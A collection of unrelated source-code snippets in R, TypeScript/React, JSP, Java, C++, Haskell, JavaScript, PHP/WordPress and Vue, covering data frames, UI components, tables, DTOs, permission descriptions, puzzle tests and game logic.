print('Data FRAME')
e
# acessando empatia da setima pessoa
print('Empatia setima linha')
e[7,3]
# todas as informações da setima pessoa
print('Dados setima linha')
e[7,]
# se quisermos editar uma planilha no modo interativo:
#edit(e)
# Extraindo dados de um data frame
e.azul <- e$empatia_nivel[e$fatorCor_olho == "Azul"]
e.verde <- e$empatia_nivel[e$fatorCor_olho == "Verde"]
e.castanho <- e$empatia_nivel[e$fatorCor_olho == "Castanho"]
# OBS: receba o nivel de empatia se o fatorCor_olho for igual
# Vetor com as medias
e.medias <- c(mean(e.azul), mean(e.verde), mean(e.castanho))
# Vetor com a quantidade de cada grupo
e.tamanhos <- c(length(e.azul), length(e.verde), length(e.castanho))
# Vetor com os nomes das cores
cores <- c("Azul", "Verde", "Castanho")
# Agora criamos um dataframe para as 3 colunas
e.medias.frame <- data.frame(cor=cores, media=e.medias, quantidade=e.tamanhos)
print('Exemplo Extração de valores')
e.medias.frame
|
import './Buttons.css';
interface Props {
href: string;
children: any;
customClassName?: string;
}
export function GreenButton({ href, children, customClassName }: Props) {
return (
<a
href={href}
className={
`beet-button green-button text-blue-900 font-medium font-body ` + customClassName ||
''
}
>
{children}
</a>
);
}
export function GreenButtonSmall({ href, children, customClassName }: Props) {
return (
<a
href={href}
className={
`hidden beet-button green-button-small text-blue-900 font-medium font-body ` +
customClassName || ''
}
>
{children}
</a>
);
}
export function BlueButton({ href, children, customClassName }: Props) {
return (
<a
href={href}
className={
`beet-button blue-button text-white font-medium font-body ` + customClassName || ''
}
>
{children}
</a>
);
}
export function BlueButtonSmall({ href, children, customClassName }: Props) {
return (
<a
href={href}
className={
`beet-button blue-button-small text-white font-medium font-body ` +
customClassName || ''
}
>
{children}
</a>
);
}
|
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
request.setAttribute("basePath", basePath);
%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script type="text/javascript" src="../js/jquery-3.1.1.min.js"></script>
<script src="../js/bootstrap.js"></script>
<script src="../js/ga.js"></script>
<link rel="stylesheet" href="../css/bootstrap.min.css">
<link rel="stylesheet" href="../css/bootstrap-table.css">
<link rel="stylesheet" href="../css/bootstrap-editable.css">
<link rel="stylesheet" href="../css/index.css">
<title>Book list</title>
</head>
<body>
<div class="container" style="height:300px">
<h1>Bootstrap Table Examples 分页 列可选择 列可排序 单页数据导出<a href="${basePath}login/logout" class="btn btn-primary" role="button" >logout</a></h1>
<div id="toolbar">
<button id="remove" class="btn btn-danger" disabled>
<i class="glyphicon glyphicon-remove"></i> Delete
</button>
<button id="ajaxTest" class="btn btn-danger">
<i class="glyphicon glyphicon-ok"></i> ajaxTest
</button>
</div>
<table id="table" data-toolbar="#toolbar" data-search="true" data-show-refresh="true"
data-show-toggle="true" data-show-columns="true" data-show-export="true" data-detail-view="true"
data-detail-formatter="detailFormatter" data-minimum-count-columns="2" data-show-pagination-switch="true"
data-pagination="true" data-id-field="id" data-page-list="[10, 25, 50, 100, ALL]"
data-show-footer="false" data-side-pagination="server"
data-response-handler="responseHandler">
</table>
</div>
<script>
var $table = $('#table'),$remove = $('#remove'),selections = [];
var data_url = "/myssm/book/getBooKList"
function initTable() {
$table.bootstrapTable({
url:data_url,
height: getHeight(),
columns: [
[
{
field: 'state',checkbox: true,rowspan: 2,align: 'center',valign: 'middle'
}, {
title: '图书编号',width:'120px',field: 'bookId',rowspan: 2,align: 'center',valign: 'middle',
sortable: true,footerFormatter: totalTextFormatter
}, {
title: '详细信息',colspan: 3,align: 'center'
}
],
[
{
field: 'name',title: '书名',width:'300px',sortable: true,editable: true,
footerFormatter: totalNameFormatter,align: 'center'
}, {
field: 'price',title: '价格',sortable: false,align: 'center',
editable: {
type: 'text',
title: '价格',
validate: function (value) {
value = $.trim(value);
if (!value) {
return 'This field is required';
}
if (!/^\$/.test(value)) {
//return 'This field needs to start width $.'
}
var data = $table.bootstrapTable('getData'),
index = $(this).parents('tr').data('index');
console.log("---->data : id = " + data[index].bookId + " sort = price" + " newvalue = " +value);
ajaxEdit(data[index].bookId,value);
return '';
}
},
footerFormatter: totalPriceFormatter
}, {
field: 'operate',title: '操作',align: 'center',
events: operateEvents,formatter: operateFormatter
}
]
]
});
// sometimes footer render error.
setTimeout(function () {
$table.bootstrapTable('resetView');
}, 200);
$table.on('check.bs.table uncheck.bs.table ' +
'check-all.bs.table uncheck-all.bs.table', function () {
$remove.prop('disabled', !$table.bootstrapTable('getSelections').length);
// save your data, here just save the current page
selections = getIdSelections();
// push or splice the selections if you want to save all data selections
});
$table.on('expand-row.bs.table', function (e, index, row, $detail) {
if (index % 2 == 1) {
$detail.html('Loading from ajax request...');
$.get('LICENSE', function (res) {
$detail.html(res.replace(/\n/g, '<br>'));
});
}
});
$table.on('all.bs.table', function (e, name, args) {
console.log(name, args);
});
$remove.click(function () {
var ids = getIdSelections();
$table.bootstrapTable('remove', {
field: 'id',
values: ids
});
$remove.prop('disabled', true);
});
$(window).resize(function () {
$table.bootstrapTable('resetView', {
height: getHeight()
});
});
}
function getIdSelections() {
return $.map($table.bootstrapTable('getSelections'), function (row) {
return row.id
});
}
function responseHandler(res) {
$.each(res.rows, function (i, row) {
row.state = $.inArray(row.id, selections) !== -1;
});
return res;
}
function detailFormatter(index, row) {
var html = [];
$.each(row, function (key, value) {
html.push('<p><b>' + key + ':</b> ' + value + '</p>');
});
return html.join('');
}
function operateFormatter(value, row, index) {
return [
'<a class="like" href="javascript:void(0)" title="Like">',
'<i class="glyphicon glyphicon-heart"></i>',
'</a> ',
'<a class="remove" href="javascript:void(0)" title="Remove">',
'<i class="glyphicon glyphicon-remove"></i>',
'</a>'
].join('');
}
window.operateEvents = {
'click .like': function (e, value, row, index) {
alert('You click like action, row: ' + JSON.stringify(row));
},
'click .remove': function (e, value, row, index) {
$table.bootstrapTable('remove', {
field: 'id',
values: [row.id]
});
}
};
function totalTextFormatter(data) {
return 'Total';
}
function totalNameFormatter(data) {
return data.length;
}
function totalPriceFormatter(data) {
var total = 0;
$.each(data, function (i, row) {
total += +(row.price.substring(1));
});
return '$' + total;
}
function getHeight() {
return $(window).height() - $('h1').outerHeight(true);
}
$(function () {
var scripts = [
location.search.substring(1) || '../js/bootstrap-table.js',
'../js/bootstrap-table-export.js',
'../js/tableExport.js',
'../js/bootstrap-table-editable.js',
'../js/bootstrap-editable.js'
],
eachSeries = function (arr, iterator, callback) {
callback = callback || function () {};
if (!arr.length) {
return callback();
}
var completed = 0;
var iterate = function () {
iterator(arr[completed], function (err) {
if (err) {
callback(err);
callback = function () {};
}
else {
completed += 1;
if (completed >= arr.length) {
callback(null);
}
else {
iterate();
}
}
});
};
iterate();
};
eachSeries(scripts, getScript, initTable);
$("#ajaxTest").click(function () {
$table.bootstrapTable('refresh', {url: '/myssm/book/getBooKList?Search=111'});
});
});
function getScript(url, callback) {
var head = document.getElementsByTagName('head')[0];
var script = document.createElement('script');
script.src = url;
var done = false;
// Attach handlers for all browsers
script.onload = script.onreadystatechange = function() {
if (!done && (!this.readyState ||
this.readyState == 'loaded' || this.readyState == 'complete')) {
done = true;
if (callback)
callback();
// Handle memory leak in IE
script.onload = script.onreadystatechange = null;
}
};
head.appendChild(script);
// We handle everything using the script element injection
return undefined;
}
function ajaxEdit(bookId,price){
$.ajax({
url: "/myssm/book/updateBook",
dataType : "json",
type: "get",
data: {
"bookId":bookId,
"price":price
},
success:function(response){
alert(response.message);
}
});
}
</script>
</body>
</html>
|
package UI.places;
import Database.DBRequests;
import Database.places.models.Place;
import Database.places.models.PlaceType;
import Database.readers.models.ReaderEntity;
import Database.readers.models.ReaderType;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.fxml.FXML;
import javafx.scene.control.*;
import javafx.scene.control.cell.PropertyValueFactory;
import java.time.LocalDate;
import java.util.LinkedList;
import java.util.List;
public class GetPlaceController {
private final DBRequests dbRequests = DBRequests.getInstance();
@FXML
TextField idField;
@FXML
TableView<Place> placesTable;
@FXML
TableColumn<Place,Integer> idColumn;
@FXML
TableColumn<Place,String> nameColumn;
@FXML
TableColumn<Place,String> addressColumn;
@FXML
TableColumn<Place, PlaceType> typeColumn;
@FXML
CheckBox idCheck;
@FXML
TextField nameField;
@FXML
TextField addressField;
@FXML
ComboBox<PlaceType> typeBox;
public void initController(){
typeBox.getItems().setAll(PlaceType.АБОНЕМЕНТ,PlaceType.ЧИТАЛЬНЫЙ_ЗАЛ);
getPlaces();
}
@FXML
public void getPlaces(){
List<Place> places;
if(!idField.getText().equals("")){
places=new LinkedList<>();
Place place=dbRequests.getPlace(Integer.parseInt(idField.getText()));
places.add(place);
}
else {
Place filter=new Place(null,nameField.getText(),addressField.getText(),typeBox.getValue());
places=dbRequests.getPlacesWithFilter(filter);
}
idColumn.setCellValueFactory(new PropertyValueFactory<Place, Integer>("placeId"));
nameColumn.setCellValueFactory(new PropertyValueFactory<Place, String>("placeName"));
addressColumn.setCellValueFactory(new PropertyValueFactory<Place, String>("placeAddress"));
typeColumn.setCellValueFactory(new PropertyValueFactory<Place, PlaceType>("placeType"));
ObservableList<Place> placesO = FXCollections.observableArrayList(places);
placesTable.setItems(placesO);
}
public void showIdField(){
if(idCheck.isSelected())
idField.setDisable(false);
else
idField.setDisable(true);
}
@FXML
public void dropFilter(){
typeBox.setValue(null);
addressField.clear();
nameField.clear();
idField.clear();
}
}
|
import IUserService from '@modules/user/services/interfaces/IUserService';
import { AppError } from '@shared/errors/AppError';
import { inject, injectable } from 'tsyringe';
import IDeleteUserCommand from '../Interfaces/IDeleteUserCommand';
@injectable()
export default class DeleteUserCommandHandler {
constructor(@inject('UserService') private userService: IUserService) {}
async handle(deleteUserCommand: IDeleteUserCommand): Promise<void> {
if (!(await this.userService.FindById(deleteUserCommand.id))) {
throw new AppError('There is already a user with this Email');
}
await this.userService.Delete(deleteUserCommand.id);
}
}
|
import { FunctionComponent } from "react";
import Link from "next/link";
import { ProjectPost } from "../../../@types/schema";
import dayjs from "dayjs";
import styled from "@emotion/styled";
import { color, font, zIndex, motionConfig } from "../../styles";
import { motion } from "framer-motion";
import Image from "next/image";
type ProjectCardProps = {
post: ProjectPost;
};
const localizedFormat = require("dayjs/plugin/localizedFormat");
dayjs.extend(localizedFormat);
const ProjectCard: FunctionComponent<ProjectCardProps> = ({ post }) => {
const parent = {
variantA: {},
variantB: {},
};
const bg = {
variantA: { opacity: 0 },
variantB: {
opacity: 1,
transition: {
duration: 0.2,
},
},
};
const title = {
variantA: { opacity: 0 },
variantB: {
opacity: 1,
transition: {
duration: 0.2,
},
},
};
const img = {
variantA: { scale: 1 },
variantB: { scale: 1.1 },
};
return (
<motion.div variants={motionConfig.fadeInUp}>
<Link href={`/project/${post.slug}`} passHref>
<Card variants={parent} initial="variantA" whileHover="variantB">
<ImageWrap variants={img}>
<Image
src={post.cover}
alt=""
layout={"fill"}
objectFit={"cover"}
loading={"eager"}
priority={true}
unoptimized={false}
/>
</ImageWrap>
<BG variants={bg}></BG>
<Info variants={title}>
<ProjectTitle>{post.title}</ProjectTitle>
<ProjectSubTitle>{post.description}</ProjectSubTitle>
</Info>
</Card>
</Link>
</motion.div>
);
};
export default ProjectCard;
const Card = styled(motion.a)`
display: flex;
flex-direction: column;
/* max-width:320px; */
width: 100%;
height: 100%;
position: relative;
overflow: hidden;
/*
:before{
content: '';
width: 100%;
height:100%;
position: absolute;
left:-10px;
top:8px;
border:solid 1px ${color.content.dark};
} */
`;
const BG = styled(motion.div)`
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
background-color: rgba(0, 0, 0, 0.12);
`;
const ImageWrap = styled(motion.div)`
position: relative;
width: 100%;
height: 320px;
/* object-fit:cover ; */
padding: 0 24px 24px 24px;
/* border:solid 1px ${color.content.dark}; */
`;
const Info = styled(motion.div)`
position: absolute;
left: 16px;
right: 16px;
bottom: 16px;
`;
const ProjectTitle = styled(motion.h3)`
${font.subtitle1};
color: ${color.background.white};
`;
const ProjectSubTitle = styled(motion.p)`
${font.subtitle2};
color: ${color.background.white};
`;
const HashTag = styled.p`
${font.subtitle2};
color: ${color.content.dark};
position: absolute;
left: -60px;
bottom: 0px;
transform: rotate(90deg);
transform-origin: center right;
`;
|
#include <iostream>
#include <string>
using namespace std;
class Person {
protected:
string name;
public:
Person() {
name = "Unknown";
}
Person(string n) {
name = n;
}
virtual ~Person() {}
string getName() const { return name; }
};
class Employee : public Person {
protected:
double salary;
public:
Employee() : Person() {
salary = 0;
}
Employee(string n, double s) : Person(n) {
salary = s;
}
virtual ~Employee() {}
double getSalary() const { return salary; }
};
class Worker : public Employee {
protected:
int hours;
public:
Worker() : Employee() {
hours = 0;
}
Worker(string n, double s, int h) : Employee(n, s) {
hours = h;
}
virtual ~Worker() {}
int getHours() const { return hours; }
};
class Engineer : public Employee {
protected:
string specialty;
public:
Engineer() : Employee() {
specialty = "Unknown";
}
Engineer(string n, double s, string sp) : Employee(n, s) {
specialty = sp;
}
virtual ~Engineer() {}
string getSpecialty() const { return specialty; }
};
int main() {
Person p("John Smith");
Employee e("Jane Doe", 50000);
Worker w("Bob Johnson", 30000, 40);
Engineer en("Alice Lee", 75000, "Software Engineering");
cout << "Person name: " << p.getName() << endl;
cout << "Employee name: " << e.getName() << ", salary: " << e.getSalary() << endl;
cout << "Worker name: " << w.getName() << ", salary: " << w.getSalary() << ", hours: " << w.getHours() << endl;
cout << "Engineer name: " << en.getName() << ", salary: " << en.getSalary() << ", specialty: " << en.getSpecialty() << endl;
return 0;
}
|
package vip.dengwj.dto;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.io.Serializable;
import java.math.BigDecimal;
import java.util.List;
@Data
@AllArgsConstructor
@NoArgsConstructor
@ApiModel(description = "套餐传递对象")
public class SetmealDTO implements Serializable {
@ApiModelProperty("套餐 id")
private Long id;
@ApiModelProperty("套餐名称")
private String name;
@ApiModelProperty("分类 id")
private Long categoryId;
@ApiModelProperty("套餐价格")
private BigDecimal price;
@ApiModelProperty("套餐图片")
private String image;
@ApiModelProperty("套餐描述")
private String description;
@ApiModelProperty("套餐状态")
private Integer status;
@ApiModelProperty("套餐菜品")
private List<SetmealDishDTO> setmealDishDTOList;
}
|
import { extendType } from 'nexus';
import { Permission } from '../../../context/permissions';
export const permissionDescriptions: {
[key in Permission]: string;
} = {
application: '입부/재입부원서에 관한 모든 권한',
'application.accept':
'입부/재입부원서를 승인할 수 있는 권한',
'application.deny':
'입부/재입부원서를 거부할 수 있는 권한',
'application.read':
'입부/재입부원서를 조회하고 열람할 수 있는 권한',
'application.setPeroid':
'입부/재입부원서 제출기간을 설정할 수 있는 권한',
'application.lock':
'입부/재입부원서 제출을 더 이상 받지 않도록 설정할 수 있는 권한',
executive: '집행부원이나 집행부원 직책에 관한 모든 권한',
'executive.appoint': '집행부원을 선임할 수 있는 권한',
'executive.disappoint': '집행부원을 해임할 수 있는 권한',
'executive.list': '집행부원 목록을 조회할 수 있는 권한',
'executive.type': '집행부원 직책에 관한 모든 권한',
'executive.type.create':
'집행부원 직책을 생성할 수 있는 권한',
'executive.type.get':
'집행부원 직책을 조회할 수 있는 권한',
'executive.type.remove':
'집행부원 직책을 삭제할 수 있는 권한',
'executive.type.rename':
'집행부원 직책의 이름을 변경할 수 있는 권한',
'executive.type.update':
'집행부원 직책의 시스템 권한을 변경할 수 있는 권한',
roll: '회원명부에 관한 모든 권한',
'roll.create': '회원명부에 회원을 추가할 수 있는 권한',
'roll.list': '회원명부를 조회할 수 있는 권한',
'roll.update': '회원명부를 수정할 수 있는 권한',
'roll.updateProfile':
'특정 회원의 프로필을 수정할 수 있는 권한',
root: '모든 권한',
subscription: '이메일 구독에 관한 모든 권한',
'subscription.create':
'이메일 구독을 생성할 수 있는 권한',
'subscription.list': '이메일 구독 목록을 볼 수 있는 권한',
'subscription.remove':
'이메일 구독을 삭제할 수 있는 권한',
'application.additionalQuestion':
'입부/재입부원서 추가 질문에 관한 모든 권한',
'application.additionalQuestion.create':
'입부/재입부원서 추가 질문을 생설할 수 있는 권한',
'application.additionalQuestion.delete':
'입부/재입부원서 추가 질문을 삭제할 수 있는 권한',
oidc: 'OpenID Connect에 관련된 모든 권한',
'oidc.create':
'OpenID Connect Client를 생성할 수 있는 권한',
'oidc.delete':
'OpenID Connect Client를 삭제할 수 있는 권한',
'oidc.list':
'OpenID Connect Client를 조회할 수 있는 권한',
'oidc.renewSecret':
'OpenID Connect Client의 client secret을 재성성할 수 있는 권한',
'oidc.update':
'OpenID Connect Client를 수정할 수 있는 권한',
homepage: '동아리 소개 홈페이지를 수정할 수 있는 권한',
};
export const PermissionsQuery = extendType({
type: 'Query',
definition(t) {
t.nonNull.list.nonNull.field('permissionDescriptions', {
type: 'PermissionDescription',
description:
'모든 시스템 권한들에 대한 설명을 가져옵니다.',
resolve(_parent, args, ctx) {
const result = [];
for (const permission in permissionDescriptions) {
result.push({
name: permission,
description:
permissionDescriptions[
permission as Permission
],
});
}
return result;
},
});
},
});
|
module TestsDay10 where
import Test.HUnit
import FuncsDay10
import CommonFuncs
import Data.Set
testcollectNonPathTiles = TestCase(do
inputText <- readFile "./resources/sample/inputday10.txt"
let gc = parseGridFromInputText inputText
let Just tc = getTileCell gc Coords { x = 2, y = 1}
let Just nextTc = getTileCell gc Coords { x = 3, y = 1}
let path = followTileKeepPath gc tc nextTc nextTc (fromList [])
let ncc = collectNonPathTiles gc tc path
let gcc = distributeCellsToContainerPockets tc nextTc ncc emptyGcc
let tot = (length $ left gcc) + (length $ right gcc)
assertEqual "" 4 tot
)
testWhichDirection = TestCase(do
inputText <- readFile "./resources/sample/inputday10.txt"
let gc = parseGridFromInputText inputText
let Just t2 = getTileCell gc Coords { x = 2, y = 1 }
let Just t3 = getTileCell gc Coords { x = 3, y = 1 }
let Just t4 = getTileCell gc Coords { x = 3, y = 2 }
assertEqual "" (Just W) (whichDirectionIsTile t2 t3)
assertEqual "" (Just E) (whichDirectionIsTile t3 t2)
assertEqual "" (Just S) (whichDirectionIsTile t4 t3)
assertEqual "" (Just N) (whichDirectionIsTile t3 t4)
)
testGetTileDirection = TestCase(do
inputText <- readFile "./resources/sample/inputday10.txt"
let gc = parseGridFromInputText inputText
let Just centralTile = getTileCell gc Coords { x = 2, y = 2 }
assertEqual "" (Just (TileCell { tile = (E,W), coords = Coords { x = 2, y = 1 }})) (getNorthCell gc (Just centralTile))
assertEqual "" (Just (TileCell { tile = (E,W), coords = Coords { x = 2, y = 3 }})) (getSouthCell gc (Just centralTile))
assertEqual "" (Just (TileCell { tile = (N,S), coords = Coords { x = 3, y = 2 }})) (getEastCell gc (Just centralTile))
assertEqual "" (Just (TileCell { tile = (N,S), coords = Coords { x = 1, y = 2 }})) (getWestCell gc (Just centralTile))
assertEqual "" (Just (TileCell { tile = (START,START), coords = Coords { x = 1, y = 1 }})) (getNorthWestCell gc (Just centralTile))
assertEqual "" (Just (TileCell { tile = (S,W), coords = Coords { x = 3, y = 1 }})) (getNorthEastCell gc (Just centralTile))
assertEqual "" (Just (TileCell { tile = (N,E), coords = Coords { x = 1, y = 3 }})) (getSouthWestCell gc (Just centralTile))
assertEqual "" (Just (TileCell { tile = (N,W), coords = Coords { x = 3, y = 3 }})) (getSouthEastCell gc (Just centralTile))
)
testAddTurn = TestCase(do
assertEqual "" (TurnCounter { rightTurns = 101, leftTurns = 10 }) (addTurn R TurnCounter { rightTurns = 100, leftTurns = 10 } )
assertEqual "" (TurnCounter { rightTurns = 100, leftTurns = 11 }) (addTurn L TurnCounter { rightTurns = 100, leftTurns = 10 } )
)
testTurnCounter = TestCase(do
inputText <- readFile "./resources/sample/inputday10.txt"
let gc = parseGridFromInputText inputText
let Just t1 = getTileCell gc Coords { x = 1, y = 1 }
let Just t2 = getTileCell gc Coords { x = 2, y = 1 }
let Just t3 = getTileCell gc Coords { x = 3, y = 1 }
let Just t4 = getTileCell gc Coords { x = 3, y = 2 }
assertEqual "" (TurnCounter { rightTurns = 0, leftTurns = 0}) (addTurnMovingFromTo t1 t2 TurnCounter { rightTurns = 0, leftTurns = 0})
assertEqual "" (TurnCounter { rightTurns = 0, leftTurns = 0}) (addTurnMovingFromTo t2 t3 TurnCounter { rightTurns = 0, leftTurns = 0})
assertEqual "" (TurnCounter { rightTurns = 0, leftTurns = 1}) (addTurnMovingFromTo t3 t2 TurnCounter { rightTurns = 0, leftTurns = 0})
assertEqual "" (Just S) (whichDirectionIsTile t4 t3)
assertEqual "" (TurnCounter { rightTurns = 1, leftTurns = 0}) (addTurnMovingFromTo t3 t4 TurnCounter { rightTurns = 0, leftTurns = 0})
)
testGetPerimeter = TestCase(do
inputText <- readFile "./resources/sample/inputday10.txt"
let gc = parseGridFromInputText inputText
let Just tc = getTileCell gc Coords { x = 2, y = 2 }
assertEqual "" 1 (countInnerTiles gc)
)
testGetPerimeterBis = TestCase(do
inputText <- readFile "./resources/sample/inputday10bis.txt"
let gc = parseGridFromInputText inputText
assertEqual "" 4 (countInnerTiles gc)
)
testGetPerimeterTris = TestCase(do
inputText <- readFile "./resources/sample/inputday10tris.txt"
let gc = parseGridFromInputText inputText
assertEqual "" 4 (countInnerTiles gc)
)
testGetPerimeterQuater = TestCase(do
inputText <- readFile "./resources/sample/inputday10quater.txt"
let gc = parseGridFromInputText inputText
assertEqual "" 8 (countInnerTiles gc)
)
testGetPerimeterQuinquies = TestCase(do
inputText <- readFile "./resources/sample/inputday10quinquies.txt"
let gc = parseGridFromInputText inputText
assertEqual "" 10 (countInnerTiles gc)
)
testCheckGetConnected = TestCase(do
inputText <- readFile "./resources/sample/inputday10tris.txt"
let gc = parseGridFromInputText inputText
let Just previousTile = getTileCell gc Coords { x = 7, y = 1 }
let Just tc = getTileCell gc Coords { x = 8, y = 1 }
let Just nextTile = getTileCell gc Coords { x = 9, y = 1 }
assertEqual "" nextTile (head $ Prelude.take 1 $ Prelude.filter (\ct -> ct /= previousTile) $ getConnectedTiles gc tc)
)
testAnswer1 = TestCase(do
inputText <- readFile "./resources/inputday10.txt"
assertEqual "" 6942 (answerQuestionDayTen inputText)
)
testAnswer2 = TestCase(do
inputText <- readFile "./resources/inputday10.txt"
assertEqual "" 297 (answerQuestionDayTen' inputText)
)
allTests = TestList [
TestLabel "turnCounter" testTurnCounter,
TestLabel "testAddTurn" testAddTurn,
TestLabel "testcollectNonPathTiles" testcollectNonPathTiles,
TestLabel "testGetTileDirection" testGetTileDirection,
TestLabel "testWhichDirection" testWhichDirection
]
testPerimeter = TestList [
TestLabel "testGetPerimeter" testGetPerimeter,
TestLabel "testGetPerimeterBis" testGetPerimeterBis,
TestLabel "testGetPerimeterTris" testGetPerimeterTris,
TestLabel "testGetPerimeterQuater" testGetPerimeterQuater,
TestLabel "testGetPerimeterQuinquies" testGetPerimeterQuinquies
]
|
/**
* The MIT License (MIT)
*
* Igor Zinken 2017 - http://www.igorski.nl
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
import gsap from "gsap";
import Pubsub from "pubsub-js";
import Messages from "@/definitions/Messages";
import ActionFactory from "@/factory/ActionFactory";
import Assets from "@/definitions/Assets";
let audioModel, gameModel, settingsModel;
let actionTimeout;
export default {
init( models) {
({ gameModel, audioModel, settingsModel } = models );
// subscribe to pubsub system to receive and broadcast messages
[
Messages.GAME_START,
Messages.GAME_OVER,
Messages.BOSS_DEFEATED,
Messages.INSTRUCTIONS_COMPLETE
].forEach(( msg ) => Pubsub.subscribe( msg, handleBroadcast ));
}
};
/* private methods */
function handleBroadcast( type, payload ) {
switch ( type ) {
case Messages.GAME_START:
gameModel.reset();
// start the music
audioModel.playEnqueuedTrack();
if ( !settingsModel.get( settingsModel.PROPS.HAS_PLAYED )) {
// show instructions first
gsap.delayedCall( .5, () => Pubsub.publish( Messages.SHOW_INSTRUCTIONS ));
}
else {
startActionQueue();
}
break;
case Messages.GAME_OVER:
gameModel.active = false;
stopActions();
audioModel.playSoundFX( Assets.AUDIO.AU_EXPLOSION );
// enqueue next music track so we have a different one ready for the next game
audioModel.enqueueTrack();
// store the flag stating the player has played at least one game
settingsModel.set( settingsModel.PROPS.HAS_PLAYED, true );
break;
case Messages.BOSS_DEFEATED:
// restart the action queue for the next "level"
ActionFactory.reset();
executeAction();
break;
case Messages.INSTRUCTIONS_COMPLETE:
startActionQueue();
break;
}
}
function startActionQueue() {
// start the game actions queue
startActions( ActionFactory.reset() );
}
/**
* actions are scheduled periodic changes that
* update the game world and its properties
*/
function startActions( timeout ) {
if ( typeof timeout === "number" )
actionTimeout = gsap.delayedCall( timeout, executeAction );
}
function executeAction() {
// execute and enqueue next action
startActions( ActionFactory.execute( gameModel ));
}
function stopActions() {
if ( actionTimeout ) {
actionTimeout.kill();
actionTimeout = null;
}
}
|
<?php
/**
* Partial template for content in page.php
*
* @package Understrap
*/
// Exit if accessed directly.
defined( 'ABSPATH' ) || exit;
?>
<article <?php post_class(); ?> id="post-<?php the_ID(); ?>">
<?php
if ( ! is_page_template( 'page-templates/no-title.php' ) ) {
the_title(
'<header class="entry-header"><h1 class="entry-title">',
'</h1></header><!-- .entry-header -->'
);
}
echo get_the_post_thumbnail( $post->ID, 'full' );
?>
<div class="entry-content">
<?php
the_content();
?>
</div><!-- .entry-content -->
<div class="my-4">
<h2 class="mb-2">Города</h2>
<?php
$args = array(
'post_type' => 'city',
'post_status' => 'publish',
'posts_per_page' => -1,
'orderby' => 'post_title',
'order' => 'ASC'
);
$cities = get_posts($args);
if( $cities ){
echo '<div class="list-group">';
foreach( $cities as $post ){
setup_postdata( $post );
get_template_part( 'loop-templates/content', 'city' );
}
echo '</div>';
} else {
?>
<div class="alert alert-dark" role="alert">
Городов не найдено.
</div>
<?php
}
wp_reset_postdata();
?>
</div>
<div class="my-4">
<h2 class="mb-2">Недвижимость</h2>
<?php
$args = array(
'post_type' => 'real_estate',
'post_status' => 'publish',
'posts_per_page' => 10,
'orderby' => 'date',
'order' => 'DESC'
);
$real_estates = get_posts($args);
if( $real_estates ){
echo '<div id="estate-list" class="list-group">';
foreach( $real_estates as $post ){
setup_postdata( $post );
get_template_part( 'loop-templates/content', 'estate' );
}
echo '</div>';
} else {
?>
<div class="alert alert-dark" role="alert">
Недвижимости не найдено.
</div>
<?php
}
wp_reset_postdata();
?>
</div>
<form id="ajax-form" class="my-4">
<h2 class="mb-2">Добавление новой недвижимости</h2>
<div class="form-group">
<label for="exampleInputName">Введите название</label>
<input type="text" class="form-control" name="name" id="exampleInputName" placeholder="Название объекта недвижимости" required>
</div>
<div class="form-group">
<label for="exampleInputSquare">Введите площадь</label>
<input type="number" class="form-control" name="square" id="exampleInputSquare" placeholder="Площадь" required>
</div>
<div class="form-group">
<label for="exampleInputPrice">Введите стоимость</label>
<input type="number" class="form-control" name="price" id="exampleInputPrice" placeholder="Стоимость" required>
</div>
<div class="form-group">
<label for="exampleInputAddress">Введите адрес</label>
<input type="text" class="form-control" name="address" id="exampleInputAddress" placeholder="Адрес" required>
</div>
<div class="form-group">
<label for="exampleInputLivingSpace">Введите жилую площадь</label>
<input type="number" class="form-control" name="living_space" id="exampleInputLivingSpace" placeholder="Жилая площадь" required>
</div>
<div class="form-group">
<label for="exampleInputFloor">Введите этаж</label>
<input type="number" class="form-control" name="floor" id="exampleInputFloor" placeholder="Этаж" required>
</div>
<button type="submit" class="btn btn-primary">Отправить</button>
</form>
<footer class="entry-footer">
<?php understrap_edit_post_link(); ?>
</footer><!-- .entry-footer -->
</article><!-- #post-<?php the_ID(); ?> -->
<script>
jQuery(function($){
$('#ajax-form').submit(function(e) {
e.preventDefault();
$form = $(this);
$button = $form.children('button');
$.ajax({
url: '<?php echo admin_url( "admin-ajax.php" ) ?>',
method: 'POST',
dataType: 'json',
data: 'action=ajax_form_handler&' + $form.serialize(),
beforeSend: function( xhr ) {
$button.text('Подождите...');
},
success: function( data ) {
$button.text('Отправить');
$('#estate-list').html(data);
}
});
})
})
</script>
|
import Vue from 'vue'
import App from './App.vue'
import router from './router'
import store from './store'
import axios from 'axios'
import VueAxios from 'vue-axios'
import { BootstrapVue, IconsPlugin } from 'bootstrap-vue'
// Import Bootstrap an BootstrapVue CSS files (order is important)
import 'bootstrap/dist/css/bootstrap.css'
import 'bootstrap-vue/dist/bootstrap-vue.css'
// Make BootstrapVue available throughout your project
Vue.use(BootstrapVue)
// Optionally install the BootstrapVue icon components plugin
Vue.use(IconsPlugin)
Vue.config.productionTip = false
Vue.use(VueAxios, axios)
axios.defaults.baseURL = 'http://localhost/pengaduan/public/api'
